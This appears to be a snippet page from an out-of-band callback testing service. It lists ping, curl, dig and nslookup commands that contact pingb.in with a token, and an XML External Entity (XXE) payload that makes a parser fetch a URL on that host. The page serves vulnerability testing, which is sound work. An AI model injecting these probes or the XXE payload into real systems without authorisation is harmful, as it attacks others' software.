$ ping -c1 -p 00f9d1caf58422d07c9d327938ccea00 pingb.in
 

$ curl pingb.in/p/f9d1caf58422d07c9d327938ccea
 

$ dig f9d1caf58422d07c9d327938ccea @pingb.in
 

$ dig f9d1caf58422d07c9d327938ccea.ns.pingb.in
 

C:\> nslookup f9d1caf58422d07c9d327938ccea pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/f9d1caf58422d07c9d327938ccea">]>
    <foo>&xxe;</foo>